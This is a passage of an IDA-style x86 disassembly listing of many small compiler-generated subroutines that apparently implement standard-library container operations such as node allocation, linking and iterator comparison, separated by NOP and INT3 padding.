		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4218F0	proc near		; CODE XREF: sub_401816j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40196F
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4014D8
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401997
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401947
sub_4218F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421960	proc near		; CODE XREF: sub_4014D8j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40204F
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	esi
		retn	4
sub_421960	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4219A0	proc near		; CODE XREF: sub_40196Fj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	esi
		retn	4
sub_4219A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219D0	proc near		; CODE XREF: sub_402167j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40196F
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4018FC
sub_4219D0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A10	proc near		; CODE XREF: sub_401703j
		push	esi
		mov	esi, ecx
		call	sub_4019EC
		mov	eax, esi
		pop	esi
		retn
sub_421A10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A30	proc near		; CODE XREF: sub_40122Bj
		mov	eax, [ecx]
		push	eax
		call	sub_4010F5
		add	esp, 4
		retn
sub_421A30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A50	proc near		; CODE XREF: sub_40107Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40204F
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421A50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A80	proc near		; CODE XREF: sub_401802j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FFF
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421A80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AB0	proc near		; CODE XREF: sub_4016E0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401212
sub_421AB0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AF0	proc near		; CODE XREF: sub_401253j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4013ED
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40100F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4021B7
sub_421AF0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B60	proc near		; CODE XREF: sub_40145Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	esi
		retn	4
sub_421B60	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421BA0	proc near		; CODE XREF: sub_4013EDj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	esi
		retn	4
sub_421BA0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BD0	proc near		; CODE XREF: sub_401325j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4013ED
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401BAE
sub_421BD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C10	proc near		; CODE XREF: sub_401B40j
		push	esi
		mov	esi, ecx
		call	sub_4011A9
		mov	eax, esi
		pop	esi
		retn
sub_421C10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C30	proc near		; CODE XREF: sub_401055j
		mov	eax, [ecx]
		push	eax
		call	sub_40108C
		add	esp, 4
		retn
sub_421C30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C50	proc near		; CODE XREF: sub_40182Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421C50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C80	proc near		; CODE XREF: sub_4012BCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401D48
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421C80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421CB0	proc near		; CODE XREF: sub_4010E6j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401ECE
		mov	edi, eax
		push	edi
		call	sub_401B1D
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40139D
sub_421CB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401B1D
		push	edi
		mov	[eax], ebx
		call	sub_401B1D
		mov	edi, [eax]
		push	edi
		call	sub_401B1D
		mov	ecx, [eax]
		push	ecx
		call	sub_4015D2
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401172
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E3D
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421D50	proc near		; CODE XREF: sub_4018FCj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4010C8
		mov	edi, eax
		push	edi
		call	sub_401CF3
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401901
sub_421D50	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401CF3
		push	edi
		mov	[eax], ebx
		call	sub_401CF3
		mov	edi, [eax]
		push	edi
		call	sub_401CF3
		mov	ecx, [eax]
		push	ecx
		call	sub_40204F
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4010F5
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4017E9
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421DF0	proc near		; CODE XREF: sub_401997j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401802
		test	al, al
		jz	short loc_421E4A


loc_421E08:				; CODE XREF: sub_421DF0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4020B8
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A1E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401802
		test	al, al
		jnz	short loc_421E08
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_421E4A:				; CODE XREF: sub_421DF0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_421DF0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421E80	proc near		; CODE XREF: sub_401901j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	24h
		call	sub_401DF2
sub_421E80	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_421E95
		mov	edi, esi


loc_421E95:				; CODE XREF: ___:00421E91j
		push	esi
		call	sub_40204F
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_421EAA
		mov	edi, esi


loc_421EAA:				; CODE XREF: ___:00421EA6j
		push	esi
		call	sub_401CF3
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421ED0	proc near		; CODE XREF: sub_401947j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401546
sub_421ED0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421EF0	proc near		; CODE XREF: sub_40204Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_421EF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F10	proc near		; CODE XREF: sub_4010F5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_421F10	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F30	proc near		; CODE XREF: sub_4019ECj
		mov	eax, ecx
		retn
sub_421F30	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F50	proc near		; CODE XREF: sub_401EBFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401519
		mov	eax, esi
		pop	esi
		retn	4
sub_421F50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F80	proc near		; CODE XREF: sub_401FFFj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_421F80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421FB0	proc near		; CODE XREF: sub_401BAEj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4018E8
		mov	edi, eax
		push	edi
		call	sub_4010EB
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401212
sub_421FB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4010EB
		push	edi
		mov	[eax], ebx
		call	sub_4010EB
		mov	edi, [eax]
		push	edi
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_40108C
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4013DE
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422050	proc near		; CODE XREF: sub_40100Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jz	short loc_4220AA


loc_422068:				; CODE XREF: sub_422050+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4019AB
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401B7C
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jnz	short loc_422068
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4220AA:				; CODE XREF: sub_422050+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_422050	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4220E0	proc near		; CODE XREF: sub_401212j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	20h
		call	sub_4020BD
sub_4220E0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4220F5
		mov	edi, esi


loc_4220F5:				; CODE XREF: ___:004220F1j
		push	esi
		call	sub_40110E
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_42210A
		mov	edi, esi


loc_42210A:				; CODE XREF: ___:00422106j
		push	esi
		call	sub_4010EB
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422130	proc near		; CODE XREF: sub_4021B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4018E3
sub_422130	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422150	proc near		; CODE XREF: sub_40110Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_422150	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422170	proc near		; CODE XREF: sub_40108Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422170	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422190	proc near		; CODE XREF: sub_4011A9j
		mov	eax, ecx
		retn
sub_422190	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4221B0	proc near		; CODE XREF: sub_401D75j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4018ED
		mov	eax, esi
		pop	esi
		retn	4
sub_4221B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4221E0	proc near		; CODE XREF: sub_401D48j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4221E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422210	proc near		; CODE XREF: sub_401E3Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401A2D
		add	esp, 8
		retn	8
sub_422210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422240	proc near		; CODE XREF: sub_401A1Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4020B8
		mov	ecx, eax
		call	sub_4010C8
		mov	esi, eax
		push	esi
		call	sub_40204F
		push	esi
		mov	ebx, eax
		call	sub_401CF3
		mov	ecx, [eax]
		push	ecx
		call	sub_40204F
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401CF3
		push	esi
		mov	ebx, eax
		call	sub_40204F
		mov	eax, [eax]
		push	eax
		call	sub_401CF3
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4010F5
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401631
		push	esi
		mov	ecx, edi
		call	sub_401947
sub_422240	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422300	proc near		; CODE XREF: sub_401CF3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_422300	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422320	proc near		; CODE XREF: sub_401DF2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_422320	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422350	proc near		; CODE XREF: sub_401546j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_422350	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422370	proc near		; CODE XREF: sub_4017E9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40201D
		add	esp, 8
		retn	8
sub_422370	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223A0	proc near		; CODE XREF: sub_401519j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4223A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223C0	proc near		; CODE XREF: sub_4010C8j
		mov	eax, [ecx]
		retn
sub_4223C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223E0	proc near		; CODE XREF: sub_4020B8j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40107D
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4223E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422410	proc near		; CODE XREF: sub_401B7Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4019AB
		mov	ecx, eax
		call	sub_4018E8
		mov	esi, eax
		push	esi
		call	sub_40110E
		push	esi
		mov	ebx, eax
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4010EB
		push	esi
		mov	ebx, eax
		call	sub_40110E
		mov	eax, [eax]
		push	eax
		call	sub_4010EB
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_40108C
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401E60
		push	esi
		mov	ecx, edi
		call	sub_4021B7
sub_422410	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224D0	proc near		; CODE XREF: sub_4010EBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4224D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4224F0	proc near		; CODE XREF: sub_4020BDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_4224F0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422520	proc near		; CODE XREF: sub_4018E3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_422520	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422540	proc near		; CODE XREF: sub_4013DEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401ED3
		add	esp, 8
		retn	8
sub_422540	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422570	proc near		; CODE XREF: sub_4018EDj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_422570	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422590	proc near		; CODE XREF: sub_4018E8j
		mov	eax, [ecx]
		retn
sub_422590	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225B0	proc near		; CODE XREF: sub_4019ABj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40182A
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4225B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225E0	proc near		; CODE XREF: sub_401631j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401A78
		pop	ecx
		retn	4
sub_4225E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422600	proc near		; CODE XREF: sub_401E60j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401F9B
		pop	ecx
		retn	4
sub_422600	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422620	proc near		; CODE XREF: sub_401A2Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
